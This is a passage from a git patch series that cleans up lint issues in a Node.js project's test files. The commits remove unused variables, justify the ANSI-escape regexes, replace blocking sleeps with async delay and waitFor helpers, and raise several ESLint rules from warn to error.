/[$`;&|<>\\\/]/, `slug must not echo shell metacharacters: ${JSON.stringify(slug)}`); + assert.doesNotMatch(slug, /[$`;&|<>\\/]/, `slug must not echo shell metacharacters: ${JSON.stringify(slug)}`); }); } }); diff --git a/tests/security-scan.test.cjs b/tests/security-scan.test.cjs index f50b03c59..ac93714b0 100644 --- a/tests/security-scan.test.cjs +++ b/tests/security-scan.test.cjs @@ -32,9 +32,9 @@ // Migrating these to a parsed IR would add ceremony without changing // what is verified — the strings ARE the typed surface. -const { describe, test, before, after } = require('node:test'); +const { describe, test } = require('node:test'); const assert = require('node:assert/strict'); -const { execFileSync, execSync, spawnSync } = require('child_process'); +const { execFileSync, spawnSync } = require('child_process'); const fs = require('fs'); const os = require('os'); const path = require('path'); @@ -563,7 +563,7 @@ describe('security-scan.yml workflow', () => { test('workflow does not use direct github context in run commands', () => { const content = fs.readFileSync(workflowPath, 'utf-8'); // Extract only run: blocks and check they don't contain ${{ }} - const runBlocks = content.match(/run:\s*\|?\s*\n([\s\S]*?)(?=\n\s*-|\n\s*\w+:|\Z)/g) || []; + const runBlocks = content.match(/run:\s*\|?\s*\n([\s\S]*?)(?=\n\s*-|\n\s*\w+:|Z)/g) || []; for (const block of runBlocks) { assert.ok( !block.includes('${{'), diff --git a/tests/settings-integrations.test.cjs b/tests/settings-integrations.test.cjs index c561388ca..6d3cd031d 100644 --- a/tests/settings-integrations.test.cjs +++ b/tests/settings-integrations.test.cjs @@ -41,10 +41,6 @@ const WORKFLOW_PATH = path.join(REPO_ROOT, 'gsd-core', 'workflows', 'settings-in const SKILL_PATH = path.join(REPO_ROOT, '.claude', 'skills', 'gsd-settings-integrations.md'); const SETTINGS_WORKFLOW_PATH = path.join(REPO_ROOT, 'gsd-core', 'workflows', 'settings.md'); -function readIfExists(p) { - try { return fs.readFileSync(p, 'utf-8'); } catch { return null; } -} - // ─── Artifacts ─────────────────────────────────────────────────────────────── describe('#2529 artifacts', () => { diff --git a/tests/settings-jsonc.test.cjs b/tests/settings-jsonc.test.cjs index 0ba175e89..bd1f0121a 100644 --- a/tests/settings-jsonc.test.cjs +++ b/tests/settings-jsonc.test.cjs @@ -13,7 +13,7 @@ * Closes: #1461 */ -const { test, describe, beforeEach, afterEach } = require('node:test'); +const { test, describe } = require('node:test'); const assert = require('node:assert/strict'); const fs = require('fs'); const path = require('path'); diff --git a/tests/shell-command-projection-dispatch.test.cjs b/tests/shell-command-projection-dispatch.test.cjs index abc39df4d..e4ff7f613 100644 --- a/tests/shell-command-projection-dispatch.test.cjs +++ b/tests/shell-command-projection-dispatch.test.cjs @@ -192,7 +192,7 @@ describe('platformWriteSync', () => { assert.ok(fs.statSync(filePath).isFile()); }); - test('mtime advances on re-write', (t) => { + test('mtime advances on re-write', (_t) => { const filePath = path.join(tmpDir, 'output.md'); platformWriteSync(filePath, '# First\n'); const mtimeBefore = fs.statSync(filePath).mtimeMs; diff --git a/tests/temp-subdir.test.cjs b/tests/temp-subdir.test.cjs index 08c7ec1d0..939fa9c86 100644 --- a/tests/temp-subdir.test.cjs +++ b/tests/temp-subdir.test.cjs @@ -6,7 +6,7 @@ * directly to os.tmpdir(). */ -const { test, describe, beforeEach, afterEach } = require('node:test'); +const { test, describe, beforeEach } = require('node:test'); const assert = require('node:assert/strict'); const fs = require('fs'); const path = require('path'); diff --git a/tests/thinking-model-guidance.test.cjs b/tests/thinking-model-guidance.test.cjs index e7ff0e0d6..383b0078f 100644 --- a/tests/thinking-model-guidance.test.cjs +++ b/tests/thinking-model-guidance.test.cjs @@ -20,7 +20,7 @@ const AGENTS_DIR = path.join(__dirname, '..', 'agents'); const THINKING_CONTEXTS = ['debug', 'execution', 'planning', 'research', 'verification']; // Sections present in #1791-style content (named models with anti-patterns, not generic schema) -const REQUIRED_SECTIONS = [ +const _REQUIRED_SECTIONS = [ '## Conflict Resolution', '## When NOT to Think', ]; @@ -40,7 +40,7 @@ const NAMED_MODELS = { }; // Sequencing rules are documented in Conflict Resolution sections -const SEQUENCING_CONTEXTS = ['debug', 'execution', 'planning', 'research', 'verification']; +const _SEQUENCING_CONTEXTS = ['debug', 'execution', 'planning', 'research', 'verification']; // Gap Closure Mode is only in planning const GAP_CLOSURE_CONTEXT = 'planning'; diff --git a/tests/windows-robustness.test.cjs b/tests/windows-robustness.test.cjs index f1e8c5f3b..c913e1abf 100644 --- a/tests/windows-robustness.test.cjs +++ b/tests/windows-robustness.test.cjs @@ -85,9 +85,6 @@ function findUnguardedInfoCommands(code) { // ─── Workflow Shell Robustness ──────────────────────────────────────────────── describe('workflow shell robustness', () => { - const workflowFiles = fs.readdirSync(WORKFLOWS_DIR) - .filter(f => f.endsWith('.md')); - // Key workflow files that must have || true guards on informational commands const criticalWorkflows = [ 'resume-project.md', diff --git a/tests/workflow-guard-registration.test.cjs b/tests/workflow-guard-registration.test.cjs index 29a1a4f9d..60fc4c6fb 100644 --- a/tests/workflow-guard-registration.test.cjs +++ b/tests/workflow-guard-registration.test.cjs @@ -88,7 +88,6 @@ describe('hook registration completeness anti-pattern guard', () => { for (const hook of jsHooks) { // Each JS hook should have a buildHookCommand or 'node ' command construction // that references the hook filename (not just the gsdHooks array or uninstall filter) - const hookBase = hook.replace('.js', ''); const lines = content.split('\n').filter(line => line.includes(hook) && (line.includes('buildHookCommand') || line.includes("'node '")) diff --git a/tests/workflow-shell-pinning.test.cjs b/tests/workflow-shell-pinning.test.cjs index 2626c2c27..7d1e8a3a1 100644 --- a/tests/workflow-shell-pinning.test.cjs +++ b/tests/workflow-shell-pinning.test.cjs @@ -118,14 +118,14 @@ function findViolations(filePath) { let inDefaultsBlock = false; // currently inside a `defaults:` mapping let inDefaultsRunBlock = false; // currently inside `defaults: run:` let defaultsBlockOwner = null; // 'workflow' or 'job' - let defaultsBlockCol = null; // column of the `defaults:` key + let _defaultsBlockCol = null; // column of the `defaults:` key // Strategy/matrix tracking - let inStrategyBlock = false; - let inMatrixBlock = false; - let inMatrixOsBlock = false; - let strategyCol = null; - let matrixCol = null; + let _inStrategyBlock = false; + let _inMatrixBlock = false; + let _inMatrixOsBlock = false; + let _strategyCol = null; + let _matrixCol = null; // Step tracking let stepIndent = null; // indent level of the `- name:/run:/uses:` items @@ -178,7 +178,7 @@ function findViolations(filePath) { inDefaultsBlock = true; inDefaultsRunBlock = false; defaultsBlockOwner = 'workflow'; - defaultsBlockCol = 0; + _defaultsBlockCol = 0; continue; } @@ -216,9 +216,9 @@ function findViolations(filePath) { // Reset sub-section tracking inDefaultsBlock = false; inDefaultsRunBlock = false; - inStrategyBlock = false; - inMatrixBlock = false; - inMatrixOsBlock = false; + _inStrategyBlock = false; + _inMatrixBlock = false; + _inMatrixOsBlock = false; continue; } @@ -229,7 +229,7 @@ function findViolations(filePath) { inDefaultsBlock = true; inDefaultsRunBlock = false; defaultsBlockOwner = 'job'; - defaultsBlockCol = 4; + _defaultsBlockCol = 4; continue; } @@ -248,7 +248,7 @@ function findViolations(filePath) { // ── Step list detection ─────────────────────────────────────────────── const stepStartMatch = line.match( - /^(\s+)-\s+(name|run|uses|shell|if|id|env|with|continue-on-error|timeout-minutes|working-directory)\s*[:\|]/, + /^(\s+)-\s+(name|run|uses|shell|if|id|env|with|continue-on-error|timeout-minutes|working-directory)\s*[:|]/, ); if (stepStartMatch) { const thisIndent = stepStartMatch[1].length; diff --git a/tests/workspace.test.cjs b/tests/workspace.test.cjs index df387a81a..a9319853e 100644 --- a/tests/workspace.test.cjs +++ b/tests/workspace.test.cjs @@ -9,7 +9,6 @@ const { test, describe, beforeEach, afterEach } = require('node:test'); const assert = require('node:assert/strict'); const fs = require('fs'); const path = require('path'); -const os = require('os'); const { execSync } = require('child_process'); const { runGsdTools, createTempProject, createTempDir, cleanup } = require('./helpers.cjs'); const { detectChildRepos } = require('../gsd-core/bin/lib/init.cjs'); @@ -328,7 +327,7 @@ describe('workspace command files', () => { function parseCommandFile(filePath) { // Strip UTF-8 BOM if present (some editors inject on save under Windows); // a BOM byte at offset 0 defeats the ^--- anchor, making fmMatch null. - const raw = fs.readFileSync(filePath, 'utf8').replace(/^/, ''); + const raw = fs.readFileSync(filePath, 'utf8').replace(/^\ufeff/, ''); const fmMatch = raw.match(/^---\r?\n([\s\S]*?)\r?\n---\r?\n([\s\S]*)$/); assert.ok(fmMatch, `${path.basename(filePath)} must start with a YAML frontmatter block`); const fm = {}; diff --git a/tests/workstream.test.cjs b/tests/workstream.test.cjs index 18dbfd0d5..d5dca0bec 100644 --- a/tests/workstream.test.cjs +++ b/tests/workstream.test.cjs @@ -9,20 +9,11 @@ const fs = require('fs'); const os = require('os'); const path = require('path'); const { runGsdTools, cleanup } = require('./helpers.cjs'); -const { createFixture, seedWorkstream, writeState } = require('./fixtures/index.cjs'); +const { createFixture, seedWorkstream } = require('./fixtures/index.cjs'); const { migrateToWorkstreams, getOtherActiveWorkstreams } = require('../gsd-core/bin/lib/workstream.cjs'); // ─── Helper ────────────────────────────────────────────────────────────────── -function createProjectWithState(tmpDir, roadmap, state) { - if (roadmap) { - fs.writeFileSync(path.join(tmpDir, '.planning', 'ROADMAP.md'), roadmap, 'utf-8'); - } - if (state) { - writeState(tmpDir, state); - } -} - function createFailingTtyEnv(tmpDir) { const binDir = path.join(tmpDir, 'fake-bin'); const markerFile = path.join(tmpDir, 'tty-invoked.log'); diff --git a/tests/worktree.test.cjs b/tests/worktree.test.cjs index 6be02bb2a..bcadb25b0 100644 --- a/tests/worktree.test.cjs +++ b/tests/worktree.test.cjs @@ -34,14 +34,14 @@ const EXECUTE_PLAN_PATH = path.join(REPO_ROOT, 'gsd-core', 'workflows', 'execute const QUICK_PATH = path.join(REPO_ROOT, 'gsd-core', 'workflows', 'quick.md'); const EXECUTOR_AGENT_PATH = path.join(REPO_ROOT, 'agents', 'gsd-executor.md'); const DIAGNOSE_PATH = path.join(REPO_ROOT, 'gsd-core', 'workflows', 'diagnose-issues.md'); -const GIT_INTEGRATION_PATH = path.join(REPO_ROOT, 'gsd-core', 'references', 'git-integration.md'); +const _GIT_INTEGRATION_PATH = path.join(REPO_ROOT, 'gsd-core', 'references', 'git-integration.md'); const WORKTREE_BRANCH_CHECK_FRAGMENT = path.join(REPO_ROOT, 'gsd-core', 'references', 'worktree-branch-check.md'); const isWindows = process.platform === 'win32'; // ─── Helpers ────────────────────────────────────────────────────────────────── -function extractNamedBlock(markdown, blockName) { +function _extractNamedBlock(markdown, blockName) { const open = `<${blockName}>`; const close = ``; const start = markdown.indexOf(open); @@ -55,7 +55,7 @@ function extractNamedBlock(markdown, blockName) { * Extract all fenced code blocks (```...```) from a markdown chunk. * Returns array of { lang, body } objects. */ -function extractFencedCodeBlocks(markdown) { +function _extractFencedCodeBlocks(markdown) { const blocks = []; const lines = markdown.split('\n'); let inFence = false; @@ -87,7 +87,7 @@ function extractFencedCodeBlocks(markdown) { * and `VAR=$(cmd ...)` assignments by extracting the inner command. This is intentionally * simple — adequate for asserting on the presence of well-known git invocations. */ -function shellStatements(script) { +function _shellStatements(script) { const statements = []; const lines = script.split('\n'); for (let raw of lines) { @@ -120,7 +120,7 @@ function shellStatements(script) { * Find the line index of the first command matching a predicate. * Returns -1 when not found. */ -function findCommandIndex(statements, predicate) { +function _findCommandIndex(statements, predicate) { for (let i = 0; i < statements.length; i++) { if (predicate(statements[i])) return i; } From bf48127c1366849b37975f2338a3ad92c6234df2 Mon Sep 17 00:00:00 2001 From: Tom Boucher Date: Sat, 6 Jun 2026 12:04:18 -0400 Subject: [PATCH 23/94] chore(lint): justify intentional no-control-regex (ANSI strip) + ratchet to error (#737) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The 5 no-control-regex warnings are all the same intentional ANSI-color-strip pattern /\x1b\[[0-9;]*m/g across 5 test files. The \x1b (ESC) control char is the required leading byte of an ANSI SGR sequence, so matching it is the whole point of stripping color codes from captured CLI/console output. Add an inline eslint-disable-next-line with justification at each site (not a refactor — the control char is essential, not accidental), then flip no-control-regex from warn to error so the debt can't regrow. Refs #736 Co-authored-by: Claude Opus 4.8 --- eslint.config.mjs | 2 +- tests/bug-2957-claude-global-postinstall-message.test.cjs | 1 + tests/bug-3582-codex-skills-materialized.test.cjs | 1 + tests/feat-2795-update-banner.test.cjs | 1 + tests/gsd-statusline.test.cjs | 1 + tests/installer-migration-install-integration.test.cjs | 1 + 6 files changed, 6 insertions(+), 1 deletion(-) diff --git a/eslint.config.mjs b/eslint.config.mjs index f7891018f..17f7c3438 100644 --- a/eslint.config.mjs +++ b/eslint.config.mjs @@ -222,7 +222,7 @@ export default tseslint.config( // Downgraded from recommended error → warn (pre-existing violations; follow-up to fix) 'no-useless-escape': 'warn', 'no-regex-spaces': 'warn', - 'no-control-regex': 'warn', + 'no-control-regex': 'error', 'no-irregular-whitespace': 'warn', }, }, diff --git a/tests/bug-2957-claude-global-postinstall-message.test.cjs b/tests/bug-2957-claude-global-postinstall-message.test.cjs index 571f20a45..a83758c21 100644 --- a/tests/bug-2957-claude-global-postinstall-message.test.cjs +++ b/tests/bug-2957-claude-global-postinstall-message.test.cjs @@ -39,6 +39,7 @@ function captureFinishInstallOutput(runtime, isGlobal) { console.log = original; } // Strip ANSI color escapes so message-content assertions don't couple to colors. + // eslint-disable-next-line no-control-regex -- \x1b (ESC) is the required leading byte of ANSI SGR color sequences; matching it is the purpose of stripping ANSI codes from captured CLI/console output return lines.join('\n').replace(/\x1B\[[0-9;]*m/g, ''); } diff --git a/tests/bug-3582-codex-skills-materialized.test.cjs b/tests/bug-3582-codex-skills-materialized.test.cjs index ac6ae112d..306e24d7d 100644 --- a/tests/bug-3582-codex-skills-materialized.test.cjs +++ b/tests/bug-3582-codex-skills-materialized.test.cjs @@ -53,6 +53,7 @@ const COMMANDS_DIR = path.join(ROOT, 'commands', 'gsd'); // Strip ANSI color codes so log assertions don't depend on TTY detection. function stripAnsi(s) { + // eslint-disable-next-line no-control-regex -- \x1b (ESC) is the required leading byte of ANSI SGR color sequences; matching it is the purpose of stripping ANSI codes from captured CLI/console output return s.replace(/\x1b\[[0-9;]*m/g, ''); } diff --git a/tests/feat-2795-update-banner.test.cjs b/tests/feat-2795-update-banner.test.cjs index 0189e0e92..b1c49e148 100644 --- a/tests/feat-2795-update-banner.test.cjs +++ b/tests/feat-2795-update-banner.test.cjs @@ -317,6 +317,7 @@ describe('install.js update-banner wiring', () => { // Strip ANSI color escapes before structural assertions — the choice // digits are wrapped in color codes so word-boundary regex against the // raw text would miss them. + // eslint-disable-next-line no-control-regex -- \x1b (ESC) is the required leading byte of ANSI SGR color sequences; matching it is the purpose of stripping ANSI codes from captured CLI/console output const stripped = text.replace(/\x1b\[[0-9;]*m/g, ''); // Prompt must offer at least two choices (default + opt-in). assert.match(stripped, /\b1\b/); diff --git a/tests/gsd-statusline.test.cjs b/tests/gsd-statusline.test.cjs index 4960a6d04..5425bf235 100644 --- a/tests/gsd-statusline.test.cjs +++ b/tests/gsd-statusline.test.cjs @@ -334,6 +334,7 @@ describe('context meter respects CLAUDE_CODE_AUTO_COMPACT_WINDOW (#2219)', () => // Parse normalized used% from the statusline bar output (e.g. "60%") // Strip ANSI escape codes then extract the percentage digit(s) before "%" + // eslint-disable-next-line no-control-regex -- \x1b (ESC) is the required leading byte of ANSI SGR color sequences; matching it is the purpose of stripping ANSI codes from captured CLI/console output const clean = stdout.replace(/\x1b\[[0-9;]*m/g, ''); const match = clean.match(/(\d+)%/); const normalizedUsed = match ? parseInt(match[1], 10) : null; diff --git a/tests/installer-migration-install-integration.test.cjs b/tests/installer-migration-install-integration.test.cjs index 2f4f79dc4..857bc101f 100644 --- a/tests/installer-migration-install-integration.test.cjs +++ b/tests/installer-migration-install-integration.test.cjs @@ -133,6 +133,7 @@ function withSdkDistPresent(fn) { } function stripAnsi(value) { + // eslint-disable-next-line no-control-regex -- \x1b (ESC) is the required leading byte of ANSI SGR color sequences; matching it is the purpose of stripping ANSI codes from captured CLI/console output return value.replace(/\x1b\[[0-9;]*m/g, ''); } From b4e817cfa0af481d442ef6e566fb86f5f6335dc7 Mon Sep 17 00:00:00 2001 From: Tom Boucher Date: Sat, 6 Jun 2026 12:04:38 -0400 Subject: [PATCH 24/94] chore(lint): refactor magic-sleep tests to async waits + ratchet rules to error (#735) Replace raw setTimeout/Atomics.wait synchronization sleeps in 4 test files with a shared async delay()/waitFor() poll-for-condition helper in tests/helpers.cjs, then flip local/no-magic-sleep-in-tests and no-restricted-syntax from warn to error so the debt can't regrow. - tests/helpers.cjs: add delay(ms) + waitFor(predicate, opts), exported - bug-1974: setTimeout backoff -> await delay() - config.test: drop Atomics.wait sleep(); async retry via await delay() - graphify: waitForBuildStatus/cleanupHookRepo async via await delay() - locking-bugs: 3 Atomics.wait poll loops -> await waitFor() - eslint.config.mjs: ratchet both rules warn -> error Refs #733 Co-authored-by: Claude Opus 4.8 --- eslint.config.mjs | 6 +-- ...ug-1974-context-exhaustion-record.test.cjs | 6 +-- tests/config.test.cjs | 16 +++----- tests/graphify-auto-update.test.cjs | 38 +++++++----------- tests/helpers.cjs | 36 ++++++++++++++++- .../locking-bugs-1909-1916-1925-1927.test.cjs | 40 ++++++++----------- 6 files changed, 77 insertions(+), 65 deletions(-) diff --git a/eslint.config.mjs b/eslint.config.mjs index 17f7c3438..52e045fe2 100644 --- a/eslint.config.mjs +++ b/eslint.config.mjs @@ -196,14 +196,14 @@ export default tseslint.config( rules: { ...js.configs.recommended.rules, 'no-only-tests/no-only-tests': 'error', - // Timing anti-patterns — warn for now; flip to error after cleanup - 'local/no-magic-sleep-in-tests': 'warn', + // Timing anti-patterns — ratcheted to error after cleanup (all violations fixed) + 'local/no-magic-sleep-in-tests': 'error', 'local/no-elapsed-assertion': 'warn', // Ban raw fs.rmSync in tests — use helpers.cleanup() for Windows-EBUSY retry budget 'local/no-raw-rmsync-in-tests': 'error', // Ban raw setTimeout sync + elapsed/duration-style assertions via no-restricted-syntax 'no-restricted-syntax': [ - 'warn', + 'error', { selector: 'AwaitExpression > NewExpression[callee.name="Promise"] ArrowFunctionExpression CallExpression[callee.name="setTimeout"]', message: 'Raw setTimeout used for synchronization in tests. Use proper async patterns instead.', diff --git a/tests/bug-1974-context-exhaustion-record.test.cjs b/tests/bug-1974-context-exhaustion-record.test.cjs index decea82ed..aed404607 100644 --- a/tests/bug-1974-context-exhaustion-record.test.cjs +++ b/tests/bug-1974-context-exhaustion-record.test.cjs @@ -26,7 +26,7 @@ const fs = require('node:fs'); const path = require('node:path'); const os = require('node:os'); const { spawnSync } = require('node:child_process'); -const { cleanup } = require('./helpers.cjs'); +const { cleanup, delay } = require('./helpers.cjs'); const HOOK_PATH = path.resolve(__dirname, '..', 'hooks', 'gsd-context-monitor.js'); const GSD_TOOLS = path.resolve(__dirname, '..', 'gsd-core', 'bin', 'gsd-tools.cjs'); @@ -34,7 +34,7 @@ const GSD_TOOLS = path.resolve(__dirname, '..', 'gsd-core', 'bin', 'gsd-tools.cj // Windows can hold a transient handle on the temp dir after a spawnSync child // exits (AV scanner / handle-release lag), so cleanup()'s internal rmSync retry // (~5s) occasionally still throws EBUSY/EPERM/ENOTEMPTY under CI load. Restore a -// bounded outer retry with async backoff (NOT Atomics.wait — lint no-magic-sleep). +// bounded outer retry with async backoff via the shared delay() helper. // Re-adds the guard removed in #482. Refs #490. async function cleanupWithRetry(dir, attempts = 8) { for (let i = 0; i < attempts; i += 1) { @@ -42,7 +42,7 @@ async function cleanupWithRetry(dir, attempts = 8) { catch (err) { const transient = err && (err.code === 'EBUSY' || err.code === 'EPERM' || err.code === 'ENOTEMPTY'); if (!transient || i === attempts - 1) throw err; - await new Promise((resolve) => setTimeout(resolve, 100 * (i + 1))); + await delay(100 * (i + 1)); } } } diff --git a/tests/config.test.cjs b/tests/config.test.cjs index fba2a7d3f..d369d29fe 100644 --- a/tests/config.test.cjs +++ b/tests/config.test.cjs @@ -11,7 +11,7 @@ const { test, describe, beforeEach, afterEach } = require('node:test'); const assert = require('node:assert/strict'); const fs = require('fs'); const path = require('path'); -const { runGsdTools, createTempProject, cleanup } = require('./helpers.cjs'); +const { runGsdTools, createTempProject, cleanup, delay } = require('./helpers.cjs'); // ─── helpers ────────────────────────────────────────────────────────────────── @@ -25,11 +25,7 @@ function writeConfig(tmpDir, obj) { fs.writeFileSync(configPath, JSON.stringify(obj, null, 2), 'utf-8'); } -function sleep(ms) { - Atomics.wait(new Int32Array(new SharedArrayBuffer(4)), 0, 0, ms); -} - -function runConfigEnsureSectionWithRetry(tmpDir, attempts = 4) { +async function runConfigEnsureSectionWithRetry(tmpDir, attempts = 4) { let last; for (let i = 0; i < attempts; i += 1) { last = runGsdTools('config-ensure-section', tmpDir); @@ -38,7 +34,7 @@ function runConfigEnsureSectionWithRetry(tmpDir, attempts = 4) { const detail = `${last.error || ''}\n${last.output || ''}`; const transient = /(EPERM|EBUSY|EACCES|ENOTEMPTY|resource busy|used by another process|permission denied)/i.test(detail); if (!transient || i === attempts - 1) return last; - sleep(150 * (i + 1)); + await delay(150 * (i + 1)); } return last; } @@ -81,13 +77,13 @@ describe('config-ensure-section command', () => { assert.ok('search_gitignored' in config, 'search_gitignored should exist'); }); - test('is idempotent — returns already_exists on second call', () => { - const first = runConfigEnsureSectionWithRetry(tmpDir); + test('is idempotent — returns already_exists on second call', async () => { + const first = await runConfigEnsureSectionWithRetry(tmpDir); assert.ok(first.success, `First call failed: ${first.error}`); const firstOutput = JSON.parse(first.output); assert.strictEqual(firstOutput.created, true); - const second = runConfigEnsureSectionWithRetry(tmpDir); + const second = await runConfigEnsureSectionWithRetry(tmpDir); assert.ok(second.success, `Second call failed: ${second.error}`); const secondOutput = JSON.parse(second.output); assert.strictEqual(secondOutput.created, false); diff --git a/tests/graphify-auto-update.test.cjs b/tests/graphify-auto-update.test.cjs index a2b1757d6..51ffed363 100644 --- a/tests/graphify-auto-update.test.cjs +++ b/tests/graphify-auto-update.test.cjs @@ -13,7 +13,7 @@ const fs = require('fs'); const path = require('path'); const os = require('node:os'); const { execFileSync, spawnSync } = require('child_process'); -const { createTempProject, cleanup, runGsdTools } = require('./helpers.cjs'); +const { createTempProject, cleanup, runGsdTools, delay } = require('./helpers.cjs'); const { graphifyStatus, @@ -263,20 +263,11 @@ describe('auto-update', () => { }); } - // Shared 4-byte buffer used for Atomics.wait-based sleeps throughout the - // hook-test helpers. Atomics.wait(sai, 0, 0, ms) yields the event loop for - // exactly `ms` milliseconds without spawning an external process. - const _sleepSab = new SharedArrayBuffer(4); - const _sleepSai = new Int32Array(_sleepSab); - function atomicSleep(ms) { - Atomics.wait(_sleepSai, 0, 0, ms); - } - // Wait until the detached rebuild writes a terminal status, with a generous // deadline. The detached subprocess can be slow under contended Docker; all // assertions here are outcome-based, so we wait for the real terminal state // rather than guessing a tight wall-clock budget (#382). - function waitForBuildStatus(statusPath, terminal /* e.g. new Set(['ok']) */, { deadlineMs = 30000, stepMs = 25 } = {}) { + async function waitForBuildStatus(statusPath, terminal /* e.g. new Set(['ok']) */, { deadlineMs = 30000, stepMs = 25 } = {}) { const deadline = Date.now() + deadlineMs; let status; while (Date.now() < deadline) { @@ -287,21 +278,20 @@ describe('auto-update', () => { if (parsed && terminal.has(parsed.status)) return parsed; } catch { /* detached writer can briefly expose a partial JSON write */ } } - atomicSleep(stepMs); + await delay(stepMs); } return status; // last seen (may be undefined / non-terminal) — assertions below will report } - function cleanupHookRepo(tmpDir) { + async function cleanupHookRepo(tmpDir) { // The hook detaches a graphify-rebuild subprocess that may still be writing // into tmpDir when the test body returns. Wait for the rebuild PID to exit // (lock file disappears on subprocess EXIT trap), then retry rmSync to // absorb any remaining transient ENOTEMPTY race. // - // Uses Atomics.wait instead of execFileSync('sleep', ...) so we yield the - // CPU without spawning an external process per iteration. Budget: 15 s — - // bumped from 4 s to give the detached child more time to exit under - // contended Docker before we attempt removal (#382). + // Uses delay() instead of Atomics.wait so we yield the event loop + // without blocking the thread. Budget: 15 s — bumped from 4 s to give + // the detached child more time to exit under contended Docker (#382). const lockPath = path.join(tmpDir, '.planning/graphs/.rebuild.lock'); const lockDeadline = Date.now() + 15000; while (Date.now() < lockDeadline) { @@ -313,7 +303,7 @@ describe('auto-update', () => { } catch { break; // PID dead → safe to clean up } - atomicSleep(50); // yield 50 ms, then re-check (replaces execFileSync('sleep')) + await delay(50); // yield 50 ms, then re-check } try { // eslint-disable-next-line local/no-raw-rmsync-in-tests -- best-effort teardown: error is swallowed so cleanup() (which propagates) cannot be used here; a residual temp dir after a detached-subprocess race is harmless (#382) @@ -447,7 +437,7 @@ describe('auto-update', () => { assert.ok(/^[0-9a-f]{7,40}$/.test(status.head_at_build), 'head_at_build must be a commit sha'); }); - test('completes to status=ok after detached graphify run succeeds', (t) => { + test('completes to status=ok after detached graphify run succeeds', async (t) => { const tmpDir = createTempGitRepo({ config: { graphify: { enabled: true, auto_update: true } }, }); @@ -465,14 +455,14 @@ describe('auto-update', () => { // Docker is never racing a tight budget (#382). All assertions are // outcome-based; the deadline is deterministic, not a timing assertion. const statusPath = path.join(tmpDir, '.planning/graphs/.last-build-status.json'); - const status = waitForBuildStatus(statusPath, new Set(['ok'])); + const status = await waitForBuildStatus(statusPath, new Set(['ok'])); assert.ok(status, 'status file must exist after dispatch'); assert.strictEqual(status.status, 'ok', 'mock graphify exit=0 → status ok'); assert.strictEqual(status.exit_code, 0); assert.ok(typeof status.duration_ms === 'number' && status.duration_ms >= 0); }); - test('completes to status=failed when graphify exits non-zero', (t) => { + test('completes to status=failed when graphify exits non-zero', async (t) => { const tmpDir = createTempGitRepo({ config: { graphify: { enabled: true, auto_update: true } }, }); @@ -490,7 +480,7 @@ describe('auto-update', () => { // Docker is never racing a tight budget (#382). All assertions are // outcome-based; the deadline is deterministic, not a timing assertion. const statusPath = path.join(tmpDir, '.planning/graphs/.last-build-status.json'); - const status = waitForBuildStatus(statusPath, new Set(['failed'])); + const status = await waitForBuildStatus(statusPath, new Set(['failed'])); assert.ok(status, 'status file must exist after dispatch'); assert.strictEqual(status.status, 'failed', 'mock graphify exit=1 → status failed'); assert.strictEqual(status.exit_code, 1); @@ -578,7 +568,7 @@ describe('auto-update', () => { 'gsd-tools query commit "docs: probe" --files .planning/STATE.md', 'npx gsd-tools query commit "docs: probe" --files .planning/STATE.md', ]) { - test(`dispatches on: ${cmd}`, (t) => { + test(`dispatches on: ${cmd}`, async (t) => { const tmpDir = createTempGitRepo({ config: { graphify: { enabled: true, auto_update: true } }, }); @@ -592,7 +582,7 @@ describe('auto-update', () => { const statusPath = path.join(tmpDir, '.planning/graphs/.last-build-status.json'); // Wait for any terminal status; we only assert the file exists, // not which terminal value it holds (#382: generous deadline). - waitForBuildStatus(statusPath, new Set(['ok', 'failed'])); + await waitForBuildStatus(statusPath, new Set(['ok', 'failed'])); assert.ok( fs.existsSync(statusPath), `must dispatch for HEAD-advancing op: ${cmd}`, diff --git a/tests/helpers.cjs b/tests/helpers.cjs index 22caa5418..eeea0fdbf 100644 --- a/tests/helpers.cjs +++ b/tests/helpers.cjs @@ -328,4 +328,38 @@ function withIsolatedProcessState(fn) { } } -module.exports = { runGsdTools, createTempDir, createTempProject, createTempGitProject, cleanup, parseFrontmatter, isUsageOutput, captureConsole, toPosixPath, runNpm, isolatedNpmEnv, withIsolatedProcessState, TOOLS_PATH }; +/** + * Async delay — yields the event loop for `ms` ms without a synchronous block. + * Replaces raw setTimeout / Atomics.wait sleeps in tests. `ms` is an identifier + * and the Promise is not awaited inline, so it does not trip the no-magic-sleep + * / no-restricted-syntax test rules (which only scan *.test.cjs anyway). + */ +function delay(ms) { + return new Promise((resolve) => setTimeout(resolve, ms)); +} + +/** + * Poll `predicate` until it returns truthy or the deadline elapses — the approved + * poll-for-condition pattern for cross-process test synchronization. Returns the + * predicate's truthy value; throws Error(message) on timeout. + * + * `predicate` must return a boolean or truthy value when ready; any falsy result + * (including `0` or `''`) is treated as "not ready yet". Do not use predicates + * whose meaningful result can be falsy. + * + * `predicate` should not throw — exceptions propagate out of `waitFor` uncaught + * and are NOT retried. If the readiness check can throw on a transient state + * (e.g. parsing a partially-written file), guard inside the predicate and return + * `false` instead. + */ +async function waitFor(predicate, { timeoutMs = 10000, stepMs = 25, message = 'waitFor timed out' } = {}) { + const deadline = Date.now() + timeoutMs; + for (;;) { + const value = predicate(); + if (value) return value; + if (Date.now() >= deadline) throw new Error(message); + await delay(stepMs); + } +} + +module.exports = { runGsdTools, createTempDir, createTempProject, createTempGitProject, cleanup, parseFrontmatter, isUsageOutput, captureConsole, toPosixPath, runNpm, isolatedNpmEnv, withIsolatedProcessState, delay, waitFor, TOOLS_PATH }; diff --git a/tests/locking-bugs-1909-1916-1925-1927.test.cjs b/tests/locking-bugs-1909-1916-1925-1927.test.cjs index caf8f2418..a5e571122 100644 --- a/tests/locking-bugs-1909-1916-1925-1927.test.cjs +++ b/tests/locking-bugs-1909-1916-1925-1927.test.cjs @@ -21,7 +21,7 @@ const fs = require('fs'); const path = require('path'); const { spawn } = require('child_process'); -const { runGsdTools, createTempProject, cleanup, TOOLS_PATH } = require('./helpers.cjs'); +const { runGsdTools, createTempProject, cleanup, waitFor, TOOLS_PATH } = require('./helpers.cjs'); // ───────────────────────────────────────────────────────────────────────────── // Helpers @@ -229,14 +229,11 @@ describe('#1925 TOCTOU: state commands use readModifyWriteStateMd', () => { const promiseB = spawnWrapper('Current Phase', '02', readyB); // ── Orchestrate: wait for both ready-signals, then drop the barrier ─────── - // Poll with Atomics.wait (10 ms steps). Budget: 10 s. - const sab2 = new SharedArrayBuffer(4); - const sai2 = new Int32Array(sab2); - const deadline2 = Date.now() + 10000; - while 